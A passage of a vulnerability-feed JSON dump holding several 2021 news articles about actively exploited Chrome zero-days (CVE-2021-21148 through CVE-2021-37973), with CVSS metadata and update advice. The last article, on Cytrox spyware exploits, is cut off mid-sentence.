{"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-12-14T04:13:00", "type": "thn", "title": "Update Google Chrome to Patch New Zero-Day Exploit Detected in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-4102"], "modified": "2021-12-14T04:30:59", "id": "THN:4CC79A3CEFEDEB0DC9CF87C5B9035209", "href": "https://thehackernews.com/2021/12/update-google-chrome-to-patch-new-zero.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:19", "description": "[](<https://thehackernews.com/images/-FOgCdN3CSOk/YUAgGS1bB1I/AAAAAAAADyc/2oKkq_Mon1AnpsrRVosSNgmXm6ZdbQTXACLcBGAsYHQ/s0/chrome-update.jpg>)\n\nGoogle on Monday released security updates for Chrome web browser to address a total of 11 security issues, two of which it says are actively exploited zero-days in the wild.\n\nTracked as **CVE-2021-30632** and **CVE-2021-30633**, the [vulnerabilities](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>) concern an out of bounds write in V8 JavaScript engine and a use after free flaw in Indexed DB API respectively, with the internet giant crediting anonymous researchers for reporting the bugs on September 8.\n\nAs is typically the case, the company said it's \"aware that exploits for CVE-2021-30632 and CVE-2021-30633 exist in the wild\" without sharing additional specifics about how, when, and where the vulnerabilities were exploited, or the threat actors that may be abusing them.\n\nWith these two security shortcomings, Google has addressed a total of 11 zero-day vulnerabilities in Chrome since the start of the year \u2014\n\n * [**CVE-2021-21148**](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) \\- Heap buffer overflow in V8\n * [**CVE-2021-21166**](<https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html>) \\- Object recycle issue in audio\n * [**CVE-2021-21193**](<https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html>) \\- Use-after-free in Blink\n * [**CVE-2021-21206**](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Use-after-free in Blink\n * [**CVE-2021-21220**](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Insufficient validation of untrusted input in V8 for x86_64\n * [**CVE-2021-21224**](<https://thehackernews.com/2021/04/update-your-chrome-browser-immediately.html>) \\- Type confusion in V8\n * [**CVE-2021-30551**](<https://thehackernews.com/2021/06/new-chrome-0-day-bug-under-active.html>) \\- Type confusion in V8\n * [**CVE-2021-30554**](<https://thehackernews.com/2021/06/update-your-chrome-browser-to-patch-yet.html>) \\- Use-after-free in WebGL\n * [**CVE-2021-30563**](<https://thehackernews.com/2021/07/update-your-chrome-browser-to-patch-new.html>) \\- Type confusion in V8\n\nChrome users are advised to update to the latest version (93.0.4577.82) for Windows, Mac, and Linux by heading to Settings > Help > 'About Google Chrome' to mitigate the risk associated with the flaws.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-09-14T04:08:00", "type": "thn", "title": "Update Google Chrome to Patch 2 New Zero-Day Flaws Under Attack", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633"], "modified": "2021-09-19T08:13:46", "id": "THN:1A836FDDE57334BC4DAFA65E6DFA02E4", "href": "https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:20", "description": "[](<https://thehackernews.com/images/--Br-zb7NQb0/YPEUTqMvgsI/AAAAAAAADNw/cesEHjkHFKgyqC_MTP_ji5iUXUCeqoH1QCLcBGAsYHQ/s0/chrome-update.jpg>)\n\nGoogle has pushed out a new security update to Chrome browser for Windows, Mac, and Linux with multiple fixes, including a zero-day that it says is being exploited in the wild.\n\nThe latest patch resolves a total of eight issues, one of which concerns a type confusion issue in its V8 open-source and JavaScript engine ([CVE-2021-30563](<https://chromereleases.googleblog.com/2021/07/stable-channel-update-for-desktop.html>)). The search giant credited an anonymous researcher for reporting the flaw on July 12.\n\nAs is usually the case with actively exploited flaws, the company issued a terse statement acknowledging that \"an exploit for CVE-2021-30563 exists in the wild\" while refraining from sharing full details about the underlying vulnerability used in the attacks due to its serious nature and the possibility that doing so could lead to further abuse.\n\nCVE-2021-30563 also marks the ninth zero-day addressed by Google to combat real-world attacks against Chrome users since the start of the year \u2014\n\n * [**CVE-2021-21148**](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) \\- Heap buffer overflow in V8\n * [**CVE-2021-21166**](<https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html>) \\- Object recycle issue in audio\n * [**CVE-2021-21193**](<https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html>) \\- Use-after-free in Blink\n * [**CVE-2021-21206**](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Use-after-free in Blink\n * [**CVE-2021-21220**](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Insufficient validation of untrusted input in V8 for x86_64\n * [**CVE-2021-21224**](<https://thehackernews.com/2021/04/update-your-chrome-browser-immediately.html>) \\- Type confusion in V8\n * [**CVE-2021-30551**](<https://thehackernews.com/2021/06/new-chrome-0-day-bug-under-active.html>) \\- Type confusion in V8\n * [**CVE-2021-30554**](<https://thehackernews.com/2021/06/update-your-chrome-browser-to-patch-yet.html>) \\- Use-after-free in WebGL\n\nChrome users are advised to update to the latest version (91.0.4472.164) by heading to Settings > Help > 'About Google Chrome' to mitigate the risk associated with the flaw.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-16T05:08:00", "type": "thn", "title": "Update Your Chrome Browser to Patch New Zero\u2011Day Bug Exploited in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563"], "modified": "2021-07-16T05:08:47", "id": "THN:C736174C6B0ADC38AA88BC58F30271DA", "href": "https://thehackernews.com/2021/07/update-your-chrome-browser-to-patch-new.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:16", "description": "[](<https://thehackernews.com/images/-EBTuV2RF5wo/YU6_b4n3Y4I/AAAAAAAAD5w/Rv4cfNWgTzsitUR4O-m9Hoo5Jsb-IyxJACLcBGAsYHQ/s0/chrome-update.jpg>)\n\nGoogle on Friday rolled out an emergency security patch to its Chrome web browser to address a security flaw that's known to have an exploit in the wild.\n\nTracked as [CVE-2021-37973](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_24.html>), the vulnerability has been described as [use after free](<https://cwe.mitre.org/data/definitions/416.html>) in [Portals API](<https://web.dev/hands-on-portals/>), a web page navigation system that enables a page to show another page as an inset and \"perform a seamless transition to a new state, where the formerly-inset page becomes the top-level document.\"\n\nCl\u00e9ment Lecigne of Google Threat Analysis Group (TAG) has been credited with reporting the flaw. Additional specifics pertaining to the weakness have not been disclosed in light of active exploitation and to allow a majority of the users to apply the patch, but the internet giant said it's \"aware that an exploit for CVE-2021-37973 exists in the wild.\"\n\nThe update arrives a day after Apple moved to close an actively exploited security hole in older versions of iOS and macOS ([CVE-2021-30869](<https://thehackernews.com/2021/09/urgent-apple-ios-and-macos-updates.html>)), which the TAG noted as being \"used in conjunction with a N-day remote code execution targeting WebKit.\" With the latest fix, Google has addressed a total of [12 zero-day flaws in Chrome](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) since the start of 2021:\n\n * [CVE-2021-21148](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) \\- Heap buffer overflow in V8\n * [CVE-2021-21166](<https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html>) \\- Object recycle issue in audio\n * [CVE-2021-21193](<https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html>) \\- Use-after-free in Blink\n * [CVE-2021-21206](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Use-after-free in Blink\n * [CVE-2021-21220](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Insufficient validation of untrusted input in V8 for x86_64\n * [CVE-2021-21224](<https://thehackernews.com/2021/04/update-your-chrome-browser-immediately.html>) \\- Type confusion in V8\n * [CVE-2021-30551](<https://thehackernews.com/2021/06/new-chrome-0-day-bug-under-active.html>) \\- Type confusion in V8\n * [CVE-2021-30554](<https://thehackernews.com/2021/06/update-your-chrome-browser-to-patch-yet.html>) \\- Use-after-free in WebGL\n * [CVE-2021-30563](<https://thehackernews.com/2021/07/update-your-chrome-browser-to-patch-new.html>) \\- Type confusion in V8\n * [CVE-2021-30632](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) \\- Out of bounds write in V8\n * [CVE-2021-30633](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) \\- Use-after-free in Indexed DB API\n\nChrome users are advised to update to the latest version (94.0.4606.61) for Windows, Mac, and Linux by heading to Settings > Help > 'About Google Chrome' to mitigate the risk associated with the flaw.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.6, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 6.0}, "published": "2021-09-25T06:39:00", "type": "thn", "title": "Urgent Chrome Update Released to Patch Actively Exploited Zero-Day Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-30869", "CVE-2021-37973"], "modified": "2021-09-27T04:38:24", "id": "THN:6A9CD6F085628D08978727C0FF597535", "href": "https://thehackernews.com/2021/09/urgent-chrome-update-released-to-patch.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:58", "description": "[](<https://thehackernews.com/images/--v2cn8JGV00/YMGRd9cFvrI/AAAAAAAACz4/i5Stk6m4GEgwbul82T6lZeEbdMMNfofJQCLcBGAsYHQ/s0/chrome-zero-day-vulnerability.jpg>)\n\nAttention readers, if you are using Google Chrome browser on your Windows, Mac, or Linux computers, you need to update it immediately to the latest version Google released earlier today.\n\nThe internet services company has rolled out an urgent update to the browser to address 14 newly discovered security issues, including a zero-day flaw that it says is being actively exploited in the wild.\n\nTracked as [CVE-2021-30551](<https://chromereleases.googleblog.com/2021/06/stable-channel-update-for-desktop.html>), the vulnerability stems from a type confusion issue in its V8 open-source and JavaScript engine. Sergei Glazunov of Google Project Zero has been credited with discovering and reporting the flaw.\n\nAlthough the search giant's Chrome team issued a terse statement acknowledging \"an exploit for CVE-2021-30551 exists in the wild,\" Shane Huntley, Director of Google's Threat Analysis Group, [hinted](<https://twitter.com/ShaneHuntley/status/1402712986289016835>) that the vulnerability was leveraged by the same actor that abused [CVE-2021-33742](<https://thehackernews.com/2021/06/update-your-windows-computers-to-patch.html>), an actively exploited remote code execution flaw in Windows MSHTML platform that was addressed by Microsoft as part of its Patch Tuesday update on June 8.\n\n[](<https://thehackernews.com/images/-XI4fkisfDp0/YMGPq0RtpKI/AAAAAAAACzw/d0mpshr20nw2j--sOXxBrrTJIj2IP95ewCLcBGAsYHQ/s0/chrome-zero-day.jpg>)\n\nThe two zero-days are said to have been provided by a commercial exploit broker to a nation-state actor, which used them in limited attacks against targets in Eastern Europe and the Middle East, Huntley said.\n\nMore technical details about the nature of the attacks are to be released in the coming weeks so as to allow a majority of the users to install the update and prevent other threat actors from creating exploits targeting the flaw.\n\nWith the latest fix, Google has addressed a total of seven zero-days in Chrome since the start of the year \u2014\n\n * [**CVE-2021-21148**](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>) \\- Heap buffer overflow in V8\n * [**CVE-2021-21166**](<https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html>) \\- Object recycle issue in audio\n * [**CVE-2021-21193**](<https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html>) \\- Use-after-free in Blink\n * [**CVE-2021-21206**](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Use-after-free in Blink\n * [**CVE-2021-21220**](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) \\- Insufficient validation of untrusted input in V8 for x86_64\n * [**CVE-2021-21224**](<https://thehackernews.com/2021/04/update-your-chrome-browser-immediately.html>) \\- Type confusion in V8\n\nChrome users can update to the latest version (91.0.4472.101) by heading to Settings > Help > About Google Chrome to mitigate the risk associated with the flaw.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-06-10T04:14:00", "type": "thn", "title": "New Chrome 0-Day Bug Under Active Attacks \u2013 Update Your Browser ASAP!", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-33742"], "modified": "2021-06-10T10:25:50", "id": "THN:7D7C05739ECD847B8CDEEAF930C51BF8", "href": "https://thehackernews.com/2021/06/new-chrome-0-day-bug-under-active.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:21", "description": "[](<https://thehackernews.com/images/-9Ndx9Vcrx9E/YHaB5SvoxwI/AAAAAAAACRI/WgbWr7Dgj6sRKNuvNcO4lj-zwEO5CNQdwCLcBGAsYHQ/s0/chrome-zero-day.jpg>)\n\nGoogle on Tuesday released a new version of Chrome web-browsing software for Windows, Mac, and Linux with patches for two newly discovered security vulnerabilities for both of which it says exploits exist in the wild, allowing attackers to engage in active exploitation.\n\nOne of the two flaws concerns an insufficient validation of untrusted input in its V8 JavaScript rendering engine (CVE-2021-21220), which was demonstrated by Dataflow Security's Bruno Keith and Niklas Baumstark at the [Pwn2Own 2021](<https://thehackernews.com/2021/04/windows-ubuntu-zoom-safari-ms-exchange.html>) hacking contest last week.\n\nWhile Google moved to fix the flaw quickly, security researcher Rajvardhan Agarwal published a [working exploit](<https://thehackernews.com/2021/04/rce-exploit-released-for-unpatched.html>) over the weekend by reverse-engineering the patch that the Chromium team pushed to the open-source component, a factor that may have played a crucial role in the release.\n\n**UPDATE:** _Agarwal, in an email to The Hacker News, confirmed that there's [one more vulnerability](<https://twitter.com/r4j0x00/status/1382125720344793090>) affecting Chromium-based browsers that has been patched in the latest version of V8, but has not been included in the Chrome release rolling out today, thereby leaving users potentially vulnerable to attacks even after installing the new update._\n\n\"Even though both the flaws are different in nature, they can be exploited to gain RCE in the renderer process,\" Agarwal told The Hacker News via email. \"I suspect that the first patch was released with the Chrome update because of the published exploit but as the second patch was not applied to Chrome, it can still be exploited.\"\n\nAlso resolved by the company is a [use-after-free](<https://cwe.mitre.org/data/definitions/416.html>) vulnerability in its Blink browser engine (CVE-2021-21206). An anonymous researcher has been credited with reporting the flaw on April 7.\n\n[](<https://thehackernews.com/images/-Co9nqKO9t2I/YHaAjushveI/AAAAAAAACRA/uFUYN6VpoCwJz2lCJEMBEGAwXowVZlR3wCLcBGAsYHQ/s0/chrome-hacking.jpg>)\n\n\"Google is aware of reports that exploits for CVE-2021-21206 and CVE-2021-21220 exist in the wild,\" Chrome Technical Program Manager Prudhvikumar Bommana [noted](<https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop.html>) in a blog post.\n\nIt's worth noting that the existence of an exploit is not evidence of active exploitation by threat actors. Since the start of the year, Google has fixed three shortcomings in Chrome that have been under attack, including [CVE-2021-21148](<https://thehackernews.com/2021/02/new-chrome-browser-0-day-under-active.html>), [CVE-2021-21166](<https://thehackernews.com/2021/03/new-chrome-0-day-bug-under-active.html>), and [CVE-2021-21193](<https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html>).\n\nChrome 89.0.4389.128 is expected to roll out in the coming days. Users can update to the latest version by heading to Settings > Help > About Google Chrome to mitigate the risk associated with the flaws.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-14T05:48:00", "type": "thn", "title": "Update Your Chrome Browser to Patch 2 New In-the-Wild 0-Day Exploits", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220"], "modified": "2021-04-14T08:32:40", "id": "THN:F197A729A4F49F957F9D5910875EBAAA", "href": "https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:19", "description": "[](<https://thehackernews.com/images/-wb_mRqoRlJs/YH_fh-jU73I/AAAAAAAACUg/PjdPBbIeXIQL_vuc_D3kAe7us4v9piwdwCLcBGAsYHQ/s0/chrome-update.jpg>)\n\nGoogle on Tuesday released an update for Chrome web browser for Windows, Mac, and Linux, with a total of seven security fixes, including one flaw for which it says an exploit exists in the wild.\n\nTracked as **CVE-2021-21224**, the flaw concerns a type confusion vulnerability in V8 open-source JavaScript engine that was reported to the company by security researcher Jose Martinez on April 5\n\nAccording to security researcher [Lei Cao](<https://iamelli0t.github.io/2021/04/20/Chromium-Issue-1196683-1195777.html#rca-of-issue-1195777>), the bug [[1195777](<https://bugs.chromium.org/p/chromium/issues/detail?id=1195777>)] is triggered when performing integer data type conversion, resulting in an out-of-bounds condition that could be used to achieve arbitrary memory read/write primitive.\n\n\"Google is aware of reports that exploits for CVE-2021-21224 exist in the wild,\" Chrome's Technical Program Manager Srinivas Sista [said](<https://chromereleases.googleblog.com/2021/04/stable-channel-update-for-desktop_20.html>) in a blog post.\n\n[](<https://thehackernews.com/images/-MqsPXUEBIAs/YH_gSVGkWZI/AAAAAAAACUw/ZOCKPD3LhzYIiPehN7StsViTVlFaKHhyACLcBGAsYHQ/s0/chrome-code.jpg>)\n\nThe update comes after proof-of-concept (PoC) [code](<https://noahblog.360.cn/chromium_v8_remote_code_execution_vulnerability_analysis/>) exploiting the flaw published by a researcher named \"[frust](<https://twitter.com/frust93717815/status/1382301769577861123>)\" emerged on April 14 by taking advantage of the fact that the issue was addressed in the [V8 source code](<https://chromium-review.googlesource.com/c/v8/v8/+/2826114/3/src/compiler/representation-change.cc>), but the patch was not integrated into the Chromium codebase and all the browsers that rely on it, such as Chrome, Microsoft Edge, Brave, Vivaldi, and Opera.\n\nThe one-week patch gap meant the browsers were vulnerable to attacks until the patches posted in the open-source code repository were released as a stable update.\n\nIt's worth noting that Google [halved](<https://groups.google.com/a/chromium.org/g/security-dev/c/fbiuFbW07vI>) the median \"patch gap\" from 33 days in Chrome 76 to 15 days in Chrome 78, which was released in October 2019, thereby pushing severe security fixes every two weeks.\n\nThe latest set of fixes also arrive close on the heels of an update the search giant rolled out [last week](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) with [patches for two security vulnerabilities](<https://thehackernews.com/2021/04/2-new-chrome-0-days-under-attack-update.html>) CVE-2021-21206 and CVE-2021-21220, the latter of which was demonstrated at the Pwn2Own [2021 hacking](<https://thehackernews.com/hacker/>) contest earlier this month.\n\nChrome 90.0.4430.85 is expected to roll out in the coming days. Users can update to the latest version by heading to Settings > Help > About Google Chrome to mitigate the risk associated with the flaws.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-04-21T08:20:00", "type": "thn", "title": "Update Your Chrome Browser ASAP to Patch a Week Old Public Exploit", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224"], "modified": "2021-04-21T08:30:40", "id": "THN:FF8DAEC0AE0DDAE827D57407C51BE992", "href": "https://thehackernews.com/2021/04/update-your-chrome-browser-immediately.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-21T04:22:58", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiIMzsLcFtJGLRZh2esVZJgDJEWwYDXVuFP6DZY6RPGSfcln7HmEW4rZJM-f9QB_Ignta4gEcancujYyz8HLHZ12ffMUpZVCtv67RMtcODcQlyFXtUoLlhBaO9nQrQJ3GVMLoW3CCBf1cUr01yiO_hMFYLr9OwyWME0SNnbLuj59ouirdrtCEw5w_E2/s728-e100/malware.jpg>)\n\nGoogle's Threat Analysis Group (TAG) on Thursday pointed fingers at a North Macedonian spyware developer named Cytrox for developing exploits against five zero-day (aka 0-day) flaws, four in Chrome and one in Android, to target Android users.\n\n\"The 0-day exploits were used alongside n-day exploits as the developers took advantage of the time difference between when some critical bugs were patched but not flagged as security issues and when these patches were fully deployed across the Android ecosystem,\" TAG researchers Clement Lecigne and Christian Resell [said](<https://blog.google/threat-analysis-group/protecting-android-users-from-0-day-attacks/>).\n\nCytrox is alleged to have packaged the exploits and sold them to different government-backed actors located in Egypt, Armenia, Greece, Madagascar, C\u00f4te d'Ivoire, Serbia, Spain, and Indonesia, who, in turn, weaponized 